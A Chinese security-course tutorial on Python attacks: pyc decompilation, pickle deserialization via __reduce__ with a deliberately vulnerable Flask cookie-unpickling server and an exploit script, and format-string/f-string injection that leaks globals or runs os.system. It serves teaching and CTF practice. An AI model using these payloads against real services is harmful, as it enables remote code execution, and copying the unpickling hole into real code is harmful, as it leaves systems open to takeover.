第71天:漏洞利用-Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全

知识点

  1. Python-PYC - 反编译文件出源码
  2. Python - 反序列化 - 调用链 & 魔术方法
  3. Python - 格式化字符串 - 类魔术方法引用

转载:https://www.suyou.world/index.php/2024/01/23/%e7%ac%ac71%e5%a4%a9%ef%bc%9aweb%e6%94%bb%e9%98%b2-python%e5%ae%89%e5%85%a8%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%88%a9%e7%94%a8%e9%93%bepyc%e6%96%87%e4%bb%b6%e5%8f%8d%e7%bc%96%e8%af%91%e6%a0%bc/

演示案例

Python-PYC - 反编译文件出源码

简介

  • pyc 文件是 py 文件编译后生成的字节码文件 (byte code),pyc 文件经过 python 解释器最终会生成机器码运行。因此 pyc 文件是可以跨平台部署的,类似 Java 的.class 文件,一般 py 文件改变后,都会重新生成 pyc 文件。

演示

  • 小迪演示的真题:http://pan.baidu.com/s/1jGpB8DS
  • 安装:pip install uncompyle6
    • python3.10 安装 uncompyle6 错误(已解决):https://blog.csdn.net/principle1/article/details/122064538
  • 使用:uncompyle6 -o test.py test.pyc
    • -o 指定输出的 py 文件,后面的 pyc 是目标文件
  • github 下载地址:https://github.com/rocky/python-uncompyle6

这个不常见,小迪还举例 one-fox 的 gui,里面有个__pycache__目录,下面就是 pyc 文件,可以使用这个测试,反编译出来就是 one-fox 工具界面的 py 文件

Python - 反序列化 - 调用链 & 魔术方法

各类语言序列化和反序列化函数

  • Java: Serializable Externalizable 接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject 等
  • PHP: serialize()、 unserialize()
  • Python:pickle marshal json PyYAML shelve PIL unzip

序列化反序列化含义

  • 序列化:把类对象转化为字节流或文件
  • 反序列化:将字节流或文件转化为类对象

python 常用 (反) 序列化函数

  • pickle.dump (obj, file) : 将对象序列化后保存到文件
  • pickle.load (file) : 将文件序列化内容反序列化为对象
  • pickle.dumps (obj) : 将对象序列化成字符串格式的字节流
  • pickle.loads (bytes_obj) : 将字符串字节流反序列化为对象
  • PyYAML yaml.load()
  • JSON json.loads(s)
  • marshal

魔术方法

  • 反序列化时调用:
    • reduce () 反序列化时调用
    • reduce_ex () 反序列化时调用
      • 发现前面这两个同时都有的时候,执行 reduce_ex 里面的,不执行 reduce 的
    • setstate () 反序列化时调用(类似于 php 的 isset 被设置)
      • 这个小迪没测试出来,貌似有点问题
  • 序列化时调用:
    • getstate () 序列化时调用
      • 这个我测试的时候是只要有 reduce 或者 reduce_ex 就不会执行

演示

序列化和反序列化演示 - test.py

序列化和反序列化形成 - test.py

测试代码 test.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import pickle
import os,base64


class test(object):
def a(self):
print('a')

def __reduce__(self):
#os.system('calc')
return (eval, ("__import__('os').system('calc')",))

def __reduce_ex__(self, protocol):
return (eval, ("__import__('os').system('notepad')",))

def __getstate__(self):
cmd = "mstsc" # 命令
os.system(cmd)

def __setstate__(self, state):
os.system('calc')

t=test()
dt=pickle.dumps(t) #序列化
print(dt)

序列化和反序列化利用 - server.py pop.py

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user) #反序列化
return "Hello %s" % user
except:
username = "Guest"
return "Hello %s" % username


if __name__ == '__main__':
app.run(
host='0.0.0.0',
port=5000,
debug=True
)

pop.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import pickle
import os
import base64

class exp(object):
def __reduce__(self):
return (eval, ("__import__('os').system('calc')",))


e = exp()
s = pickle.dumps(e)
user=base64.b64encode(s).decode()
print(user)
response = requests.get("http://127.0.0.1:5000/", cookies=dict(user=base64.b64encode(s).decode()))

序列化和反序列化赛题 -[watevrCTF-2019] Pickle Store

小迪这里崩了许久,一直没整出来,后面整好了测试了一下。

发现

白盒直接搜索关键函数即可

黑盒:Python 反序列化特征:base64 编码 前面 gA 固定(序列化数据)
测试:直接提交构造的 payload 测试

Python - 格式化字符串 - 类魔术方法引用

参考地址:https://xz.aliyun.com/t/3569

第一种:% 操作符

第二种:string.Template

第三种:调用 format 方法 (可控格式化字符串)

str-vuln.py

1
2
3
4
5
6
7
8
9
10
11
config={'flag':'woaichixigua'}
class User(object):
def __init__(self,name):
self.name=name

user = User('joe')
# print('Hello {name}'.format(name='xiaodi'))
# print('Hello {name}'.format(name=user.__class__.__init__.__globals__))
# print('Hello {name}'.format(name=user.__class__.__init__.__globals__['config']))

#name后面的值可控,我们user.__class__.__init__.__globals__['config']传入进入获取当前脚本的核心flag

第四种: f-Strings(可控格式化字符串)

前面三个没什么危害,主要是第四种,重点关注

这是 python3.6 之后新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的 python 表达式

1
2
3
4
5
6
>>> a , b = 5 , 10
>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
'Five plus ten is 15 and not 30.'
>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)
'0'